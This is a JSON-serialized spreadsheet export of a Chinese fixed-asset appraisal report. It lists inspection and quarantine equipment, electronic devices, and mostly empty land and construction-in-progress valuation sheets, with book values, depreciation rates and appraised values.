[87,"声光报警设备",0,"南昌瑞翔检验检疫工程技术有限公司","2016-12-01","套",1,{"v":4273.5,"d":"4,273.50"},{"v":4273.5,"d":"4,273.50"},{"v":4273.5,"d":"4,273.50"},{"v":4273.5,"d":"4,273.50"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":4273.5,"d":"4,273.50"},{"v":4273.5,"d":"4,273.50"},1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},{"v":3632.48,"d":"3,632.48"}]
[88,"释放显示灯","LW5606","南昌瑞翔检验检疫工程技术有限公司","2016-12-01","只",1,157.48,157.48,157.48,157.48,"近期购入",null,0,null,0,null,null,0,{"$nulls":4},157.48,157.48,1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},133.86]
[89,"手动按钮","JBF-V0P3580A","南昌瑞翔检验检疫工程技术有限公司","2016-12-01","只",1,157.48,157.48,157.48,157.48,"近期购入",null,0,null,0,null,null,0,{"$nulls":4},157.48,157.48,1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},133.86]
[90,"输入/输出模块","VM3365A","南昌瑞翔检验检疫工程技术有限公司","2016-12-01","只",1,324.79,324.79,324.79,324.79,"近期购入",null,0,null,0,null,null,0,{"$nulls":4},324.79,324.79,1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},276.07]
[91,"数据库软件（微软sqlserver标准版）",0,"南昌瑞翔检验检疫工程技术有限公司","2016-12-01","套",1,{"v":29914.53,"d":"29,914.53"},{"v":29914.53,"d":"29,914.53"},{"v":29914.53,"d":"29,914.53"},{"v":29914.53,"d":"29,914.53"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":29914.53,"d":"29,914.53"},{"v":29914.53,"d":"29,914.53"},1.33,28.67,30,{"v":0.9557,"d":"95.57%"},{"v":0.93,"d":"93%"},{"$nulls":3},{"v":0.9403,"d":"94.03%"},{"v":0.94,"d":"94%"},{"v":28119.66,"d":"28,119.66"}]
[92,"水分测定仪","MB35","建发（武汉）有限公司","2016-10-01","套",1,{"v":11880.34,"d":"11,880.34"},{"v":11880.34,"d":"11,880.34"},{"v":11880.34,"d":"11,880.34"},{"v":11880.34,"d":"11,880.34"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":11880.34,"d":"11,880.34"},{"v":11880.34,"d":"11,880.34"},1.5,8.5,10,{"v":0.85,"d":"85.00%"},{"v":0.82,"d":"82%"},{"$nulls":3},{"v":0.832,"d":"83.20%"},{"v":0.83,"d":"83%"},{"v":9860.68,"d":"9,860.68"}]
[93,"通道式雾话喷淋消毒系统",0,"南昌瑞翔检验检疫工程技术有限公司","2016-06-01","套",1,{"v":495726.5,"d":"495,726.50"},{"v":495726.5,"d":"495,726.50"},{"v":495726.5,"d":"495,726.50"},{"v":495726.5,"d":"495,726.50"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":495726.5,"d":"495,726.50"},{"v":495726.5,"d":"495,726.50"},1.83,10.17,12,{"v":0.8475,"d":"84.75%"},{"v":0.82,"d":"82%"},{"$nulls":3},{"v":0.831,"d":"83.10%"},{"v":0.83,"d":"83%"},{"v":411453,"d":"411,453.00"}]
[94,"通道占用传感器",0,"南昌瑞翔检验检疫工程技术有限公司","2016-12-01","个",1,{"v":10256.41,"d":"10,256.41"},{"v":10256.41,"d":"10,256.41"},{"v":10256.41,"d":"10,256.41"},{"v":10256.41,"d":"10,256.41"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":10256.41,"d":"10,256.41"},{"v":10256.41,"d":"10,256.41"},1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},{"v":8717.95,"d":"8,717.95"}]
[95,"网络机柜","42U:600*800*2000","南昌瑞翔检验检疫工程技术有限公司","2016-12-01","台",1,{"v":14321.05,"d":"14,321.05"},{"v":14321.05,"d":"14,321.05"},{"v":14321.05,"d":"14,321.05"},{"v":14321.05,"d":"14,321.05"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":14321.05,"d":"14,321.05"},{"v":14321.05,"d":"14,321.05"},1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},{"v":12172.89,"d":"12,172.89"}]
[96,"卫生处理作业成套设备",0,"南昌瑞翔检验检疫工程技术有限公司","2016-06-01",0,1,{"v":119658.12,"d":"119,658.12"},{"v":119658.12,"d":"119,658.12"},{"v":119658.12,"d":"119,658.12"},{"v":119658.12,"d":"119,658.12"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":119658.12,"d":"119,658.12"},{"v":119658.12,"d":"119,658.12"},1.83,8.17,10,{"v":0.817,"d":"81.70%"},{"v":0.79,"d":"79%"},{"$nulls":3},{"v":0.8008,"d":"80.08%"},{"v":0.8,"d":"80%"},{"v":95726.5,"d":"95,726.50"}]
[97,"显微摄像系统（CCD）","DFC450C","建发（武汉）有限公司","2016-10-01","套",2,{"v":162393.16,"d":"162,393.16"},{"v":81196.58,"d":"81,196.58"},{"v":81196.58,"d":"81,196.58"},{"v":162393.16,"d":"162,393.16"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":81196.58,"d":"81,196.58"},{"v":162393.16,"d":"162,393.16"},1.5,8.5,10,{"v":0.85,"d":"85.00%"},{"v":0.82,"d":"82%"},{"$nulls":3},{"v":0.832,"d":"83.20%"},{"v":0.83,"d":"83%"},{"v":134786.32,"d":"134,786.32"}]
[98,"新能源查验平台设备",0,"南昌瑞翔检验检疫工程技术有限公司","2016-06-01","台",1,{"v":59829.06,"d":"59,829.06"},{"v":59829.06,"d":"59,829.06"},{"v":59829.06,"d":"59,829.06"},{"v":59829.06,"d":"59,829.06"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":59829.06,"d":"59,829.06"},{"v":59829.06,"d":"59,829.06"},1.83,8.17,10,{"v":0.817,"d":"81.70%"},{"v":0.79,"d":"79%"},{"$nulls":3},{"v":0.8008,"d":"80.08%"},{"v":0.8,"d":"80%"},{"v":47863.25,"d":"47,863.25"}]
[99,"药械仓库配套设备",0,"南昌瑞翔检验检疫工程技术有限公司","2016-06-01",0,1,{"v":51282.05,"d":"51,282.05"},{"v":51282.05,"d":"51,282.05"},{"v":51282.05,"d":"51,282.05"},{"v":51282.05,"d":"51,282.05"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":51282.05,"d":"51,282.05"},{"v":51282.05,"d":"51,282.05"},1.83,8.17,10,{"v":0.817,"d":"81.70%"},{"v":0.79,"d":"79%"},{"$nulls":3},{"v":0.8008,"d":"80.08%"},{"v":0.8,"d":"80%"},{"v":41025.64,"d":"41,025.64"}]
[100,"远程监控中心",0,"南昌瑞翔检验检疫工程技术有限公司","2016-12-01","套",1,{"v":10256.41,"d":"10,256.41"},{"v":10256.41,"d":"10,256.41"},{"v":10256.41,"d":"10,256.41"},{"v":10256.41,"d":"10,256.41"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":10256.41,"d":"10,256.41"},{"v":10256.41,"d":"10,256.41"},1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},{"v":8717.95,"d":"8,717.95"}]
[101,"植物检疫工具箱(2)","DU-80006A","建发（武汉）有限公司","2016-10-01","套",2,{"v":2051.28,"d":"2,051.28"},{"v":1025.64,"d":"1,025.64"},{"v":1025.64,"d":"1,025.64"},{"v":2051.28,"d":"2,051.28"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":1025.64,"d":"1,025.64"},{"v":2051.28,"d":"2,051.28"},1.5,8.5,10,{"v":0.85,"d":"85.00%"},{"v":0.82,"d":"82%"},{"$nulls":3},{"v":0.832,"d":"83.20%"},{"v":0.83,"d":"83%"},{"v":1702.56,"d":"1,702.56"}]
[102,"智能雾化喷洒消毒平台设备",0,"南昌瑞翔检验检疫工程技术有限公司","2016-06-01","台",1,{"v":153846.16,"d":"153,846.16"},{"v":153846.16,"d":"153,846.16"},{"v":153846.16,"d":"153,846.16"},{"v":153846.16,"d":"153,846.16"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":153846.16,"d":"153,846.16"},{"v":153846.16,"d":"153,846.16"},1.83,8.17,10,{"v":0.817,"d":"81.70%"},{"v":0.79,"d":"79%"},{"$nulls":3},{"v":0.8008,"d":"80.08%"},{"v":0.8,"d":"80%"},{"v":123076.93,"d":"123,076.93"}]
[103,"智能熏蒸平台设备",0,"南昌瑞翔检验检疫工程技术有限公司","2016-06-01","台",1,{"v":153846.16,"d":"153,846.16"},{"v":153846.16,"d":"153,846.16"},{"v":153846.16,"d":"153,846.16"},{"v":153846.16,"d":"153,846.16"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":153846.16,"d":"153,846.16"},{"v":153846.16,"d":"153,846.16"},1.83,8.17,10,{"v":0.817,"d":"81.70%"},{"v":0.79,"d":"79%"},{"$nulls":3},{"v":0.8008,"d":"80.08%"},{"v":0.8,"d":"80%"},{"v":123076.93,"d":"123,076.93"}]
[104,"主控单元",0,"南昌瑞翔检验检疫工程技术有限公司","2016-12-01","套",1,{"v":82051.28,"d":"82,051.28"},{"v":82051.28,"d":"82,051.28"},{"v":82051.28,"d":"82,051.28"},{"v":82051.28,"d":"82,051.28"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":82051.28,"d":"82,051.28"},{"v":82051.28,"d":"82,051.28"},1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},{"v":69743.59,"d":"69,743.59"}]
[105,"抓拍系统",0,"南昌瑞翔检验检疫工程技术有限公司","2016-12-01","套",1,{"v":12820.51,"d":"12,820.51"},{"v":12820.51,"d":"12,820.51"},{"v":12820.51,"d":"12,820.51"},{"v":12820.51,"d":"12,820.51"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":12820.51,"d":"12,820.51"},{"v":12820.51,"d":"12,820.51"},1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},{"v":10897.43,"d":"10,897.43"}]
[106,"专用软件（含免费升级）",0,"南昌瑞翔检验检疫工程技术有限公司","2016-12-01","套",1,{"v":85470.09,"d":"85,470.09"},{"v":85470.09,"d":"85,470.09"},{"v":85470.09,"d":"85,470.09"},{"v":85470.09,"d":"85,470.09"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":85470.09,"d":"85,470.09"},{"v":85470.09,"d":"85,470.09"},1.33,8.67,10,{"v":0.867,"d":"86.70%"},{"v":0.84,"d":"84%"},{"$nulls":3},{"v":0.8508,"d":"85.08%"},{"v":0.85,"d":"85%"},{"v":72649.58,"d":"72,649.58"}]
[107,"综合配电柜（梅兰日兰电气模板）",0,"南昌瑞翔检验检疫工程技术有限公司","2016-12-01","台",1,{"v":28255.9,"d":"28,255.90"},{"v":28255.9,"d":"28,255.90"},{"v":28255.9,"d":"28,255.90"},{"v":28255.9,"d":"28,255.90"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":28255.9,"d":"28,255.90"},{"v":28255.9,"d":"28,255.90"},1.33,23.67,25,{"v":0.9468,"d":"94.68%"},{"v":0.92,"d":"92%"},{"$nulls":3},{"v":0.9307,"d":"93.07%"},{"v":0.93,"d":"93%"},{"v":26277.99,"d":"26,277.99"}]
[108,"广告牌",0,"浔阳区美化广告经营部","2016-04-01",0,1,{"v":38600,"d":"38,600.00"},{"v":38600,"d":"38,600.00"},{"v":38600,"d":"38,600.00"},{"v":38600,"d":"38,600.00"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":38600,"d":"38,600.00"},{"v":38600,"d":"38,600.00"},2,3,5,{"v":0.6,"d":"60.00%"},{"v":0.57,"d":"57%"},{"$nulls":3},{"v":0.582,"d":"58.20%"},{"v":0.58,"d":"58%"},{"v":22388,"d":"22,388.00"}]
[109,"实验室边柜",0,"江西赛益鑫实验设备有限公司","2015-12-01","批",1,{"v":18165,"d":"18,165.00"},{"v":18165,"d":"18,165.00"},{"v":18165,"d":"18,165.00"},{"v":18165,"d":"18,165.00"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":18165,"d":"18,165.00"},{"v":18165,"d":"18,165.00"},2.33,5.67,8,{"v":0.7088,"d":"70.88%"},{"v":0.68,"d":"68%"},{"$nulls":3},{"v":0.6915,"d":"69.15%"},{"v":0.69,"d":"69%"},{"v":12533.85,"d":"12,533.85"}]
[110,"实验室操作台",0,"江西赛益鑫实验设备有限公司","2015-12-01","批",1,{"v":9082,"d":"9,082.00"},{"v":9082,"d":"9,082.00"},{"v":9082,"d":"9,082.00"},{"v":9082,"d":"9,082.00"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":9082,"d":"9,082.00"},{"v":9082,"d":"9,082.00"},2.33,5.67,8,{"v":0.7088,"d":"70.88%"},{"v":0.68,"d":"68%"},{"$nulls":3},{"v":0.6915,"d":"69.15%"},{"v":0.69,"d":"69%"},{"v":6266.58,"d":"6,266.58"}]
[111,"微波炉","P70D20TP-C6","建发（武汉）有限公司","2016-10-01","套",1,299.15,299.15,299.15,299.15,"近期购入",null,0,null,0,null,null,0,{"$nulls":4},299.15,299.15,1.5,3.5,5,{"v":0.7,"d":"70.00%"},{"v":0.67,"d":"67%"},{"$nulls":3},{"v":0.682,"d":"68.20%"},{"v":0.68,"d":"68%"},203.42]
[112,"宣传标示、标牌、制度牌",0,"浔阳区美化广告经营部","2015-12-01","批",1,{"v":115166.8,"d":"115,166.80"},{"v":115166.8,"d":"115,166.80"},{"v":115166.8,"d":"115,166.80"},{"v":115166.8,"d":"115,166.80"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":115166.8,"d":"115,166.80"},{"v":115166.8,"d":"115,166.80"},2.33,5.67,8,{"v":0.7088,"d":"70.88%"},{"v":0.68,"d":"68%"},{"$nulls":3},{"v":0.6915,"d":"69.15%"},{"v":0.69,"d":"69%"},{"v":79465.09,"d":"79,465.09"}]
[113,"展示柜",0,"南昌市红太阳装饰展示柜有限公司","2015-12-02","批",1,{"v":18450,"d":"18,450.00"},{"v":18450,"d":"18,450.00"},{"v":18450,"d":"18,450.00"},{"v":18450,"d":"18,450.00"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":18450,"d":"18,450.00"},{"v":18450,"d":"18,450.00"},2.33,5.67,8,{"v":0.7088,"d":"70.88%"},{"v":0.68,"d":"68%"},{"$nulls":3},{"v":0.6915,"d":"69.15%"},{"v":0.69,"d":"69%"},{"v":12730.5,"d":"12,730.50"}]
[114,"内燃机械叉车","FD30-M2GA1","浙江美科斯叉车有限公司","2016-03-01","台",1,{"v":51282.05,"d":"51,282.05"},{"v":51282.05,"d":"51,282.05"},{"v":51282.05,"d":"51,282.05"},{"v":51282.05,"d":"51,282.05"},"近期购入",null,0,null,0,null,null,0,{"$nulls":4},{"v":51282.05,"d":"51,282.05"},{"v":51282.05,"d":"51,282.05"},2.08,12.92,15,{"v":0.8613,"d":"86.13%"},{"v":0.83,"d":"83%"},{"$nulls":3},{"v":0.8425,"d":"84.25%"},{"v":0.84,"d":"84%"},{"v":43076.92,"d":"43,076.92"}]
[]
[]
[null,"合计",{"$nulls":5},{"v":18637262.93,"d":"18,637,262.93"},{"v":18475783.98,"d":"18,475,783.98"},{"v":19240651.21,"d":"19,240,651.21"},{"v":13069532.26,"d":"13,069,532.26"},0,0,0,0,0,0,{"v":0.9,"d":"0.90"},{"v":33328.21,"d":"33,328.21"},0,0,0,0,{"v":12955714.3,"d":"12,955,714.30"},{"v":13059527.14,"d":"13,059,527.14"},null,428.79,{"$nulls":3},0,0,0,null,null,{"v":16637159.26,"d":"16,637,159.26"},0.99,{"v":383670.18,"d":"383,670.18"}]
[{"$nulls":32},"."]
[]
[]
[]
[{"$nulls":24},{"v":1958929.07,"d":"1,958,929.07"}]
[]
[{"$nulls":7},134500]

{"sheet":"4-6-6电子设备","index":56,"n_rows":17,"n_cols":20,"rows_kept":17,"merged":[[0,0,0,16],[1,0,1,16],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,5,4],[4,5,5,5],[4,6,5,6],[4,7,5,7],[4,8,5,8],[4,9,4,10],[4,11,4,13],[4,14,5,14],[4,15,5,15],[4,16,5,16],[12,0,12,2],[13,0,13,2],[14,0,14,2]],"flags":["formulas_cached_only"]}
["固定资产—电子设备评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":16},"表4-6-6"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":15},"金额单位：人民币元"]
["序号","设备\n编号","设备名称","规格型号","生产厂家","计量单位","数量","购置日期","启用日期","账面价值",null,"评估价值",null,null,"增减值","增值率%","备注"]
[{"$nulls":9},"原值","净值","原值","成新率%","净值",{"$nulls":3},"使用年限","合同","2018-04-30"]
[1,"010001","兄弟传真机",null,null,"台",6,null,"2007-11-14",{"v":3100,"d":"3,100.00"},{"v":155,"d":"155.00"},{"v":1350,"d":"1,350.00"},{"v":0.1,"d":"10.00%"},{"v":135,"d":"135.00"},-20,{"v":-12.9,"d":"-12.90"},null,6]
[2,"010002","税控扫描仪",null,null,"台",8,null,"2008-01-31",{"v":5769.24,"d":"5,769.24"},81.93,{"v":3800,"d":"3,800.00"},{"v":0.1,"d":"10.00%"},{"v":380,"d":"380.00"},298.07,363.81,null,6]
[3,"010005","笔记本电脑",null,null,"台",1,null,"2005-12-31",{"v":26000,"d":"26,000.00"},{"v":1300,"d":"1,300.00"},{"v":5000,"d":"5,000.00"},{"v":0.05,"d":"5.00%"},{"v":250,"d":"250.00"},-1050,-80.77,null,6]
[4,"010006","笔记本电脑",null,null,"台",3,null,"2008-08-15",{"v":6900,"d":"6,900.00"},"0",{"v":2500,"d":"2,500.00"},{"v":0.08,"d":"8.00%"},{"v":200,"d":"200.00"},200,{"$error":"#DIV/0!"},null,5]
[5,"010007","笔记本电脑",null,null,"台",5,null,"2008-10-15",{"v":6777,"d":"6,777.00"},"0",{"v":2500,"d":"2,500.00"},{"v":0.08,"d":"8.00%"},{"v":200,"d":"200.00"},200,{"$error":"#DIV/0!"},null,5]
[6,"010008","税控打印机",null,null,"台",4,null,"2011-07-31",{"v":2580,"d":"2,580.00"},{"v":129,"d":"129.00"},{"v":950,"d":"950.00"},{"v":0.1,"d":"10.00%"},{"v":95,"d":"95.00"},-34,-26.36,null,5]
["合     计",{"$nulls":8},{"v":51126.24,"d":"51,126.24"},{"v":1665.93,"d":"1,665.93"},{"v":16100,"d":"16,100.00"},null,{"v":1260,"d":"1,260.00"}]
["减：电子设备减值准备"]
["合      计",{"$nulls":8},{"v":51126.24,"d":"51,126.24"},{"v":1665.93,"d":"1,665.93"},{"v":16100,"d":"16,100.00"},null,{"v":1260,"d":"1,260.00"},null,-24.37]
["被评估单位填表人：",{"$nulls":11},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-6-7土地","index":57,"n_rows":30,"n_cols":16,"rows_kept":30,"hidden":true,"merged":[[0,0,0,15],[1,0,1,15],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,5,4],[4,5,5,5],[4,6,5,6],[4,7,5,7],[4,8,5,8],[4,9,5,9],[4,10,5,10],[4,11,5,11],[4,12,5,12],[4,13,5,13],[4,14,5,14],[4,15,5,15],[27,0,27,2]],"flags":["formulas_cached_only"]}
["固定资产—土地评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":15},"表4-6-7"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":14},"金额单位：人民币元"]
["序号","土地权证编号","宗地名称","土地位置","取得日期","用地性质","土地用途","准用年限","开发程度","面积(m2)","原始入账价值","账面价值","评估价值","增减值","增值率%","备注"]
[]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
["合计",{"$nulls":10},0,0,0,0]
["被评估单位填表人：",{"$nulls":11},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-7在建工程汇总","index":58,"n_rows":28,"n_cols":6,"rows_kept":28,"hidden":true,"merged":[[0,0,0,5],[1,0,1,5],[24,0,24,1],[25,0,25,1],[26,0,26,1]],"flags":["formulas_cached_only"]}
["在建工程评估汇总表"]
["评估基准日：2017年12月31日"]
[{"$nulls":5},"表4-7"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":4},"金额单位：人民币元"]
["编号","科目名称","账面价值","评估价值","增减值","增值率%"]
["4-7-1","在建工程—土建工程",0,0,null,""]
["4-7-2","在建工程—设备安装工程",0,0,null,""]
{"$rows_empty":17}
["在建工程合计",null,0,0]
["减：在建工程减值准备",null,0,0]
["在建工程合计",null,0,0,null,0]
[{"$nulls":3},"评估人员：孙倩华、凌伟"]

{"sheet":"4-7-1在建（土建）","index":59,"n_rows":33,"n_cols":16,"rows_kept":33,"hidden":true,"merged":[[0,0,0,12],[1,0,1,12],[28,0,28,2],[29,0,29,2],[30,0,30,2]],"flags":["formulas_cached_only"]}
["在建工程—土建工程评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":12},"表4-7-1"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":11},"金额单位：人民币元"]
["序号","项目名称","结构","建筑面积/容积","开工日期","预计完工日期","形象进度","付款比例","账面价值","评估价值","增减值","增值率%","备注","合同",null,"预决算"]
{"$rows_empty":18}
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
["合      计",{"$nulls":4},"",null,null,0,0]
["减：在建土建工程减值准备",{"$nulls":4},""]
["合      计",{"$nulls":4},"",null,null,0,0,null,0]
["被评估单位填表人：",{"$nulls":8},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"土建工程计算表","index":60,"n_rows":24,"n_cols":29,"rows_kept":24,"hidden":true,"merged":[[0,0,0,27],[1,6,1,16],[2,0,2,3],[2,25,2,27],[3,0,5,0],[3,1,5,1],[3,2,5,2],[3,3,5,3],[3,4,5,4],[3,5,5,5],[3,6,5,6],[3,7,5,7],[3,8,3,12],[3,13,5,13],[3,14,5,14],[3,15,5,15],[3,16,5,16],[3,17,5,17],[3,18,3,26],[3,27,5,27],[4,8,4,9],[4,10,4,11],[4,12,5,12],[4,18,4,21],[4,22,5,22],[4,23,5,23],[4,24,5,24],[4,25,5,25],[4,26,5,26],[23,0,23,4],[24,0,24,2],[24,12,24,15],[24,22,24,27],[25,0,25,5],[25,12,25,15],[25,22,25,27]],"flags":["formulas_cached_only"]}
["房屋建筑物(成本法)评估计算过程汇总表"]
[{"$nulls":6},0]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":15},0,{"$nulls":8},"索引号：C—17—20",null,null,"2018-04-30"]
["序号","房产证号","建筑物名称","结构","竣工时间","面积(m2)","单位造价","工程总造价","配套规费",{"$nulls":4},"建设期(天)"," 贷款利率(一年期)","建设期资金成本","重置成本合计","单位重置成本元/M2","成新率%",{"$nulls":8},"评估净值"]
[{"$nulls":8},"按面积计",null,"按投资额计",null,"合计",{"$nulls":5},"理论成新率",{"$nulls":3},"勘察成新率","经济性贬值","功能性贬值","综合成新率","评估确定成新率"]
[{"$nulls":8},"费率","金额","费率","金额",{"$nulls":6},"已使用年","尚可使用年","经济年限","年限成新率"]
[1,null,0,0,"00:00:00",0,0,0,null,0,null,0,0,null,{"v":0.0435,"d":"4.35%"},0,0,{"$error":"#DIV/0!"},118.41,0,50,{"v":0,"d":"0.00%"},{"v":0.9,"d":"90%"},null,null,{"v":0,"d":"0%"},{"v":0.3,"d":"30%"},0]
[2,null,0,0,"2017-10-31",0,{"v":6,"d":"6.00"},0,null,0,null,0,0,null,{"v":0.0435,"d":"4.35%"},0,0,{"$error":"#DIV/0!"},{"$nulls":7},{"v":0,"d":"0%"},null,0]
[3,null,0,0,"00:00:00",0,{"v":1143430,"d":"1,143,430.00"},{"v":1143430,"d":"1,143,430.00"},null,0,null,0,0,null,{"v":0.0435,"d":"4.35%"},0,{"v":1143430,"d":"1,143,430.00"},{"$error":"#DIV/0!"},118.41,0,60,{"v":0,"d":"0.00%"},{"v":0.97,"d":"97%"},null,null,{"v":0,"d":"0%"},{"v":0.3,"d":"30%"},{"v":343029,"d":"343,029.00"}]
[4,null,0,0,"00:00:00",0,{"v":1098.37,"d":"1,098.37"},{"v":1204687.8,"d":"1,204,687.80"},{"$nulls":3},0,0,null,{"v":0.0435,"d":"4.35%"},0,{"v":1204688,"d":"1,204,688.00"},{"$error":"#DIV/0!"}]
[5,null,0,0,"00:00:00",0,{"v":1120.34,"d":"1,120.34"},{"v":1323456.88,"d":"1,323,456.88"},{"$nulls":3},0,0,null,{"v":0.0435,"d":"4.35%"},0,{"v":1323457,"d":"1,323,457.00"},{"$error":"#DIV/0!"}]
[6,null,0,0,"00:00:00",0,{"v":1950.19,"d":"1,950.19"},0,{"$nulls":3},0,0,null,{"v":0.0435,"d":"4.35%"},0,0,{"$error":"#DIV/0!"}]
[7,null,0,0,"00:00:00",0,{"$error":"#DIV/0!"},{"v":1226886.59,"d":"1,226,886.59"},{"$nulls":3},0,0,null,{"v":0.0435,"d":"4.35%"},0,{"v":1226887,"d":"1,226,887.00"},{"$error":"#DIV/0!"}]
[8,null,0,0,"00:00:00",0,{"$error":"#DIV/0!"},{"v":248801.77,"d":"248,801.77"},{"$nulls":3},0,0,null,{"v":0.0435,"d":"4.35%"},0,{"v":248802,"d":"248,802.00"},{"$error":"#DIV/0!"}]
[9,null,0,0,"00:00:00",0,{"$error":"#DIV/0!"},{"v":1141362.66,"d":"1,141,362.66"},{"$nulls":3},0,0,null,{"v":0.0435,"d":"4.35%"},0,{"v":1141363,"d":"1,141,363.00"},{"$error":"#DIV/0!"}]
[10,null,0,0,"00:00:00",0,{"$error":"#DIV/0!"},{"v":582088.61,"d":"582,088.61"},{"$nulls":3},0,0,null,{"v":0.0435,"d":"4.35%"},0,{"v":582089,"d":"582,089.00"},{"$error":"#DIV/0!"}]
[11,null,0,0,"00:00:00",0,0,{"$nulls":4},0,0,null,{"v":0.0435,"d":"4.35%"},0,0,{"$error":"#DIV/0!"}]
[0,null,0,0,"00:00:00",0,0,0,{"$nulls":3},0,0,null,{"v":0.0435,"d":"4.35%"},0,0,{"$error":"#DIV/0!"}]
[0,null,0,0,"00:00:00",0,0,0,{"$nulls":8},0]
[0,null,0,0,"00:00:00",0,0]
[0,null,0,0,"00:00:00",0,0]
[0,null,0,0,"00:00:00",0,0]
[]
["合         计",{"$nulls":4},0,null,{"v":6870714.31,"d":"6,870,714.31"},null,"***",null,"***",0,"***","***",0,{"v":6870716,"d":"6,870,716.00"},"***","***","***","***","***","***",null,null,"***","***",{"v":343029,"d":"343,029.00"}]

{"sheet":"4-7-2在建（设备）","index":61,"n_rows":29,"n_cols":18,"rows_kept":29,"hidden":true,"merged":[[0,0,0,17],[1,0,1,17],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,5,4],[4,5,5,5],[4,6,5,6],[4,7,4,10],[4,11,4,14],[4,15,5,15],[4,16,5,16],[4,17,5,17],[24,0,24,2],[25,0,25,2],[26,0,26,2]],"flags":["formulas_cached_only"]}
["在建工程—设备安装工程评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":17},"表4-7-2"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":16},"金额单位：人民币元"]
["序号","项目名称","规格型号","数量","计量单位","开工\n日期","预计完\n工日期","账面价值",{"$nulls":3},"评估价值",{"$nulls":3},"增减值","增值率%","备注"]
[{"$nulls":7},"设备费","资金成本","安装费及其他","合计","设备费","资金成本","安装费及其他","合计"]
{"$rows_empty":7}
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
["合      计",{"$nulls":4},"",null,0,null,null,0,{"$nulls":3},0]
["减：在建设备安装工程减值准备",{"$nulls":4},""]
["合      计",{"$nulls":4},"",null,0,null,null,0,{"$nulls":3},0]
["被评估单位填表人：",{"$nulls":13},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

